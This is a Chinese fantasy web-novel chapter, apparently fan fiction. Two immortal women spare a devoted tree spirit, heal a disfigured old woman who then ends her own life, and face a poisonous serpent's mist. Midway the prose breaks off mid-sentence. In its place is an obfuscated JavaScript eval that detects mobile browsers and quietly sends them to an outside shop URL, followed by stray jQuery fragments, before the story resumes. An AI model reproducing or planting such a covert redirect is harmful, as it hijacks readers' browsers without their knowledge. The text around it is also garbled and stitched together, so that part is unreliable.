“菡衣,那边!”
林间风起,几道黑影咻咻闪过,带起满地的落叶纷飞,马尾高扎一身利落打扮的少女脚尖轻点枝叶悬于半空,伸手拉弓,一道又一道凝光的箭疾速射出。
刺破虚空,直达目标,黑影还没来得及化形就惨叫一声消散如烟,只留下丝丝冰晶花叶落于尘泥。少女放下弓箭,面脸微笑地摇了摇弓身,没想到下一秒弓竟然自己亮了两下像是在做回应。
方才呼唤人的正是下凡巡林的杜若,目光惊叹的看向空中的少女。
菡衣飞升落下,轻巧的走了几步来到杜若身边,收起弓箭,淡定地说道:“解决了。”
杜若拍了拍手,“你这弓法简直出神入化啊!”
菡衣腼腆一笑,其实她都不瞄准的,但是弓箭就是会随着她的心意自主追寻目标,更杜若解释了好几次,杜若也只是满脸震惊,并表示这就是高手的人弓合一啊。
菡衣无奈,只能笑着接受了。
“这里清理完了,要去下一个地方吗?”
杜若摇了摇头,伸手将菡衣转了过去,一个面容奇丑无比,似融化了一般的老婆婆,她看起来已过古稀,此刻正佝偻着身子半趴在地里,身下护着的是一个小女孩正颤颤巍巍的在哭泣。
“你们没事吧?”杜若上前两步询问,在这山里走,若不是遇上她们俩,怕是这祖孙两人都要沦落妖怪之口了。
老婆婆缓慢地抬起头,眼中浑浊看不太清人的样子,知道自己得救了,还有些恍惚,不知所措。
“丫头,你没事吧,快起来。”
小女孩被老婆婆呵护着扶了起来,连忙摇了摇头表示自己没事,又关切的查看了一番对方。
才将目光放在救命恩人身上,小小年纪那眼神却如枯木,了无生机。
“多谢二人恩人。”老婆婆颤巍巍的将袖子里的面罩拢在脸上,“我们上山采药,没想到会遇见妖怪。”
“你们一个年纪这么大了,一个还是个小娃娃,一起上山采药,也是真不怕有什么危险。”杜若心直口快的说道。
菡衣微微蹙眉,看了一眼杜若,又看向祖孙两人,心知二人怕是苦命人家,有些不忍。
果然,那老婆婆开口,“我们俩都是无人要的人,只能搭伴过过日子,我认识药材却看不清了,她手脚麻利却说不出话,才一起上山采些药材来卖钱。”
“啊?”杜若嘴张了张,又闭上,一时竟然不知道说什么才好。局促的站在原地,她还真不知道怎么安慰人,平时跟妖精们调侃惯了,这种人间疾苦,从来都不在她思考的范畴里。
“那你们可采好药材了,我们送你们下山吧。”菡衣平和的说道。
小女孩将散落一地的药捡好,才拉着老婆婆的手,晃了晃。
老婆婆点了点头,“那就麻烦二位姑娘了。”她知道自己遇见不同凡响的人了,且心善如水。
菡衣朝杜若点了点头,杜若上前拉住老婆婆的手,“老人家,想想自己住哪里。”
老婆婆照做,下一秒一种失重又混乱的感觉压迫着她的每一处神经,在她忍不住跪地时,一切消散。
她睁着不太清晰的眼睛看了看周围,直到小女孩拍了拍她的手,她才确信她们竟然直接到家了,这般神通,怕是只有神仙才能办到。
她又强迫自己不要颤抖,看向两位看起来年轻的女子,一阵风吹过吹落了她遮面的纱布,露出她满是皱纹叠加在没有皮,张着肉的脸上。
此刻正随着身体的颤抖而轻微抖动着,瞧起来十分碍眼和难看。
但在场的三人都平静地盯着她的动作,一个是看习惯了的小女孩、一个是见多识广的山鬼,还剩一个则是因为她身上被岁月和生活折磨得不堪入目的痕迹而隐生出怜悯的少女。
她想,人活在这个世界上,一幅柔软的身躯,却要承受这世间所有的尖锐,打造出一副千疮百孔的身体,到底是有何其大的意志,才不会在一次又一次的打击中消亡。
“你,你想说什么?”
菡衣盯着她颤抖的嘴唇,忍不住开口问道。
老婆婆拉着小女孩,扑通一下就跪在了两人面前,声泪俱下,“求神仙,救救这个苦命的孩子吧,她生下来就不会言语,从小便被家里人打骂,小小年纪就要送去给山里的屠夫做童养媳,她心有不甘才跑了出来,遇上了我,我将她带回家,才苟活到今日。”
杜若此刻若有所思的看了一眼两人,这小女孩看起来不像是……
暗示了一下菡衣,菡衣睁开法眼,却瞧见这小女孩原来是个小树精,难怪能一直在山里采药,若不是今日遇见的对手太厉害,怕是已经自己解决了。
小女孩跪在地上,满脸无畏地看向两人。
但此刻老婆婆已经要以头抢地了,小女孩死死拦住人不让她去撞地。
菡衣伸手一挥将两人扶起由跪改为坐在地上,也给了老婆婆一丝喘息。
“不必如此,她若是想开口,自会开口。”杜若盯着小女孩,向老婆婆说道,此刻甚至不想再多说,只想走人。
一个小树精胆子倒是不小,面对她们俩正神都不见敬畏。看来这是她们二人之间的事,不必掺和。
菡衣这些日子跟着杜若,眼看耳听也学了不少,知道杜若这话就是不想多管。
小女孩将体力不支的老婆婆扶进小屋里休息,照料着人喝水,等她好一些才出门见二人。
也是扑通一声就跪在了地上,比老婆婆的声音还大。
“二十年前,此地干旱,是她一碗水一碗水将我浇活,我瞧她寿数不过几载,便想着送她一程。”小女孩平静地解释着,她这般靠近人的生活,迟早会被这些捉妖师抓住,她从出现在这里的那一天起就想到了这一幕。
“凡请二位法师,留我个三五载,到时我自行了去便是。”
大义凛然的模样倒是怔到了杜若和菡衣,“没想到,竟然是个有情有义的小树精。”杜若这会儿才笑了起来,方才是十分不悦与她的无礼和目中无人。
她们救了她,却还是恶脸相向,原来是误会了。
“你怎么就确定我们是法师,就是来收你的呢?”
小树精被问的一懵,抬起头圆溜溜的眼睛看了看咧着嘴笑的杜若,和在一旁浅笑的菡衣,一时不知道该怎么办,不收她?
“你们刚刚不是在捉妖吗?”
“不,那是替天行道,你又没作恶,捉你干嘛?”
“啊?”这下轮到小树精惊愕了,她没想到不作恶就不会被捉,可是从前她听闻只要被捉妖师碰上就是死里一条呀。
菡衣被她呆呆的模样逗笑,“是啊,你是一个好妖怪,我们不捉好妖怪的。”
“谢,谢谢!”得知自己死里逃生的小树精连连磕了两个响头,一个劲儿的谢谢人。
原来是个见少识窄的小妖精啊。
“见你一心向善,可向我们许一个愿望。”杜若忍不住逗她。
小树精望着两人眨了眨眼,眼里一亮又一暗,带着失落,“你们做不到的。”
菡衣睁大双眼一脸好奇,她的愿望到底有多大,居然是她和杜若都办不到的吗?
一眼看穿小树精想什么的杜若,伸手点了点她的额头,“小树精,你看我们是什么?”
小树精应声抬头,再看向两人,只见两位女子身后开始有丝丝缕缕的仙气溢出,浑身都是清气飘逸。
“你,你们是神仙!”小树精吓得又要磕头,被菡衣拦住。
“所以,你可以说一个你的愿望。”
半响,小树精才喏喏地说道:“你们能让她眼睛看得见吗?还有脸恢复正常的模样可以吗?”
因为这些问题,她遭受了许多常人无法想象的遭遇,她一心想帮助她,可却法力低微无能为力。
菡衣杜若对视一眼,杜若点了点头,表示答应。
小树精高兴的差点跳起来,杜若意味深长地瞧了她一眼,小东西可不知道自己这个愿望许的,到底放弃了多么大的机缘。
杜若和菡衣进了屋,在小憩的老婆婆面前停下,菡衣伸手食指轻触她的额间,渐渐的皮肤一层层长好,盖住所有斑驳凹凸不平的痕迹,直至恢复正常。
梦中有感的老婆婆一下惊醒,睁开眼就是两张惊为天人的脸,她清晰的瞧见两人一颦一笑的模样,就这样痴痴地望着……
“你,你们……”她良久都说不出话,直到最后也没有说出话来。
空无一人的屋内唯留一位老人坐在的铜镜前,盯着自己完好无损的脸,除却苍老的痕迹,再无那些让人作呕的斑驳凸起。这般喜事,她看着看着,便笑了,又哭了,笑了哭,哭了笑,久久难以平复。
许久屋里安静了,小女孩才端着水碗进来,放在她面前。“喝水。”
老婆婆转头看向小女孩,“你能说话了?”
小女孩点了点头,“嗯,可以。”
老婆婆伸出手摸了摸小女孩的头,眼里满是怜惜和不舍,“谢谢你。”陪了她这个老婆子这么久。
小女孩萌萌的,端起水碗给她,还以为她是在谢谢她给她倒水,“不用谢。”一板一眼的回答了她。
“我要休息了,你也去休息吧。”
小女孩点了点头,出去了。
老婆婆见人走后,默默拿出自己枕头底下的剪刀,已经很钝了,上面已经锈迹斑斑。
她想她这一生,劣迹斑斑的一生,却在最后有了洗去一切过往的机会。
白日瞧见那二人时,她才恍惚记起,自己是谁。
她是赵家小姐,赵令仪,家破人亡,流落街头,颠沛流离了大半生,苟延残喘着活着。
若不是丫头的出现,她想必早已完结了自己的生命,日子太苦了,她实在是坚持不下去了。如今也有颜面去面对家中父老了。
末了,一抹血红染湿麻衣,一封血书断了尘缘。
晨曦正好,落在少女的侧脸,照出清透了无杂质的眼眸。
“你知道她是谁?”菡衣轻声问道。
“也是看见她恢复的脸才想起来的。”杜若颔首。
“那你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763963|207897||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
愿意我帮她?”菡衣小心发问,她隐约还记得这些关于杜若的前尘往事。
杜若举起手生了个懒腰,无所谓道,“她已经这样过了几十年了,对于她来说这便是最大的惩罚。”
“没想到她最终放下了心中的恶执,若不是如此我们应该也不会再见到她。”
一个手无缚鸡之力的女子存活于这世间,何其艰难,若不是她心留善念,救了小树精,怕是都活不到如今。
菡衣明白了,“说的也是。”
“所以啊,任何执念都不要过深,不论是善还是恶?”
“为何?”菡衣不解,恶执不要在是可以的,但是善呢,为何不要。
“一心向善可以,但若是深陷其中,必遭反噬。”就像曾经的她,一心执着于曾经的爱人,差点落得个身死道消。
“你看那小树精,好不容易化了形,还有能朝神仙许愿的机会,就这么白白浪费了。”杜若惋惜地直摇头。
浪费?菡衣不是这么想的,她只觉得小树精是有情有义之人,且这份情感十分宝贵。
若是她……必然也会如此。
见菡衣一时之间沉默不语起来,明了她这又是陷入自己的思维里去了,这段时间她也发现菡衣非常容易陷入沉思,她总在想什么,问起来,却又说没什么。
哎,小姑娘的心思明明简单却又十分难猜。
“别想了,灵牌响了,有活咯。”杜若一掌轻拍在了菡衣右肩,让人回神。
“嗯,走吧。”菡衣收起那些虚无缥缈的思绪,现在最重要的是完成太乙真人给的降妖除魔的任务。
菡衣抬手取下发间的遁云梭,驱动法咒,朝着杜若所说的方向前行。
西海,某海底深渊,一抹血红在幽蓝之中飘荡,少年人沉寂在海水中,双目紧闭以坐莲观音的姿势静静停在海底,面容冷峻无声无息。
西海战事早于五日前平定,可哪吒却被带入深海,久久不见出来,水障重重,深海阴煞他们不敢轻易下去寻找,却不想金星突然出现告知二郎神后面的计划,得到的命令是在此地等候哪吒出海。
杨戬带着天兵已在海面静候哪吒三日,却依旧不见哪吒出现,心中焦急万分,可没有金星的消息,只能干等着。
“金星,时机可到?”他等不及的传信询问。
金星回复也很快,“静候。”
杨戬甩了甩手,只能继续负手而立等待在海面上。
太乙真人知晓是杜若带着菡衣在人间游历,特去了东岳府处,抽调杜若的踪迹。
殿值仙官将人引进,特在幻灵境前为他显现出杜若此刻所处之地。
镜中,杜若和菡衣正与一团黑雾作战,两人背靠背神情严峻,想必这黑雾来头不小。
太乙真人挥手退避了仙官,静静地观察着镜中两人的情况。
“菡衣小心,这黑雾碰不得。”她们虽有仙气护体,可这黑雾却能丝丝缕缕的穿透屏障侵入。
菡衣抬手掐诀,一道粉色的屏障开启将两人护住。
这是杜若说有那座庙的地方,这段时间那庙中聚集了不少妖魔鬼怪,都在吸食灵气,竟成长到了这般地步。
特派她前来探勘,没想到竟然被这妖魔给困住了。
杜若行走人间多年什么妖怪精灵没见过,打的过的打不过的都打过,这次遇见的是极其危险也极其少见的吃曼陀罗长大的蛇妖,它喷出来的黑雾有剧毒,吸入还会致幻。
“菡衣,这雾有毒,千万不能碰。”她严肃警告道。
菡衣被带动得十分紧张地点头,紧张到差点忘记,她不怕毒了。
“我不怕毒,我们不能被困在这里,你在保护盾里等我,我去找到它。”
“不行,它很危险,我已经传音到天庭了,我们再坚持一下,会有援兵的。”这不是她们两个能解决的,她感受到这曼陀罗蛇的道行怕是不下千年。
怎么会出现在这里,明明从前还没有的。
太乙真人瞥了一眼幻灵境旁发光抖动的灵牌,是方才他从那仙官身上顺下来的。
直到灵牌归于平静,他也没有动作。
“联系不上,是不是?”菡衣也注意到杜若的灵牌没了光亮,也没有回音。
“我真的不怕毒,我是圣莲,哪吒说过我百毒不侵,万邪退让。若我不去找它,这雾迟早会侵蚀进你的身体。”她们被团团围住,连天光都瞧不见,更别说逃出去了。
“他说你就信,会死的,别去!”杜若担心的要命,什么圣莲不圣莲的从没听说过,做妖做惯了的她只知道若是对方道行比你浅那就是蚂蚁路过你的身边根本不会注意,若是对方道行比你深,就算是轻轻一个喷嚏也能让你难受半天。
菡衣摇了摇头,施了个固定她的术法,让她短时间内不能离开防护罩,轻轻拨开了杜若紧抓她的手,“别担心,我很快回来。”
说完握紧灵玑,毅然决然的走进了黑雾之中,独留杜若在原地急得大喊大叫,甚至狠狠摔了那毫无动静的灵牌。
“小心啊,菡衣!”